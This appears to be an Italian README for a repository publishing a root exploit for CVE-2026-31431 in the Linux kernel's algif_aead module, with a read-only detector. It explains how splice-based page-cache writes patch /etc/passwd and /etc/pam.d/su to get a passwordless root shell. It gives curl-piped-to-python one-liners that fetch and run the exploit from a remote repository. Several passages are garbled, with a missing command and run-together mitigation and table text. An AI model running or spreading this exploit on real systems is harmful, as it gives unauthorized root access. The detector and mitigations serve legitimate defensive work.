
Escalation dei privilegi locali per CVE-2026-31431 nel modulo algif_aead del kernel Linux, che utilizza splice per sovrascrivere la page cache e ottenere i privilegi di root. Include un rilevatore in sola lettura.
CVE-2026-31431 è una vulnerabilità di escalation dei privilegi locali nel sottosistema algif_aead del kernel Linux. L'implementazione AEAD authencesn esegue una decrittazione in-place tramite splice(2), inserendo una pagina della page cache nel scatterlist di destinazione. Un valore di 4 byte proveniente dall'AAD (seqno_lo) viene riscritto in quella pagina della page cache prima che il tag di autenticazione venga verificato — consentendo a un utente non privilegiato di sovrascrivere byte arbitrari della page cache del kernel di qualsiasi file leggibile a livello mondiale.
Vulnerabile dalla versione: kernel 4.14 (agosto 2017) — quando authencesn è stato introdotto in algif_aead
Correzioni rilasciate per: sole linee stabili 6.12, 6.17 e 6.18
Permanentemente non corretto: kernel 4.14–6.11 (EOL; non verrà rilasciato alcun backport)
Primitive richieste: socket AF_ALG, cifrario authencesn(hmac(sha256),cbc(aes)), splice(2) in un fd di socket AF_ALG
Impatto: Escalata dei privilegi locali a root — completamente automatizzata, nessuna password richiesta
L'exploit applica due patch alla page cache in sequenza, quindi esegue automaticamente su:
Patch di /etc/passwd — apre il file (leggibile a livello mondiale), popola la sua page cache, quindi usa la primitiva splice di authencesn per impostare il campo UID di 4 cifre dell'utente corrente a 0000. Dopo la patch, getpwnam() riporta l'utente come UID 0.
Patch di /etc/pam.d/su — pam_rootok.so e pam_permit.so sono entrambi esattamente di 13 caratteri. Due scritture di 4 byte sostituiscono pam_rootok.so con pam_permit.so nella page cache della configurazione PAM. Poiché pam_permit restituisce sempre PAM_SUCCESS, la riga esistente auth sufficient scatta immediatamente — nessun prompt per la password viene mostrato.
— lo script esegue . PAM autentica senza password (passaggio 2), quindi ha successo perché riporta UID 0 (passaggio 1). Viene restituita una shell di root senza alcuna interazione da parte dell'utente.
Non avviene alcuna scrittura su disco in nessun momento. L'eliminazione della page cache (echo 3 > /proc/sys/vm/drop_caches) o il riavvio annullano completamente entrambe le patch.
Solo per test autorizzati. Eseguire esclusivamente su host di propria proprietà o per i quali si è esplicitamente incaricati di valutare.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Viene restituita automaticamente una shell di root — nessuna password necessaria.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG abilitato (standard sulla maggior parte delle distribuzioni)authencesn(hmac(sha256),cbc(aes)) caricabile (standard sulla maggior parte delle distribuzioni)test_cve_2026_31431.py è un rilevatore sicuro, di sola lettura, incluso in questo repository. Esercita la primitiva splice di algif_aead contro un file sentinella usa-e-getta che crea in una directory temporanea — nessun file di sistema viene mai toccato. Stampa un verdetto ed esce con un codice ben definito:
| Codice di uscita | Significato |
|---|---|
0 | Non vulnerabile — prerequisito non soddisfatto o page cache non modificata |
Eseguirlo:
# Comando singolo (nessuna installazione richiesta)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Codice di uscita: $?"
# Oppure da un clone locale
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Codice di uscita: $?"
Esempio di output su un kernel vulnerabile:
[*] Rilevatore CVE-2026-31431 kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' caricabile - prerequisito soddisfatto.
[!] VULNERABILE a CVE-2026-31431.
[!] Marcatore b'PWND' (AAD seqno_lo) finito nella pagina della page cache spliced all'offset 24.
[!] Byte circostanti: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Applicare la correzione upstream o bloccare immediatamente algif_aead.
Esempio di output su un kernel corretto:
[*] Rilevatore CVE-2026-31431 kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' caricabile - prerequisito soddisfatto.
[+] Page cache intatta. NON vulnerabile su questo kernel.
algif_aead tramite /etc/modprobe.d: install algif_aead /bin/falseAF_ALG con seccomp o policy LSM.net/tls + crypto/algif_aead — isolamento dello scatterlist di destinazione in-place di authencesnsu <utente>setuid(0)getpwnam()1 | Errore del test (es. AF_ALG non disponibile, splice non supportato) |
2 | VULNERABILE — i byte marcatore sono finiti nella pagina della page cache spliced |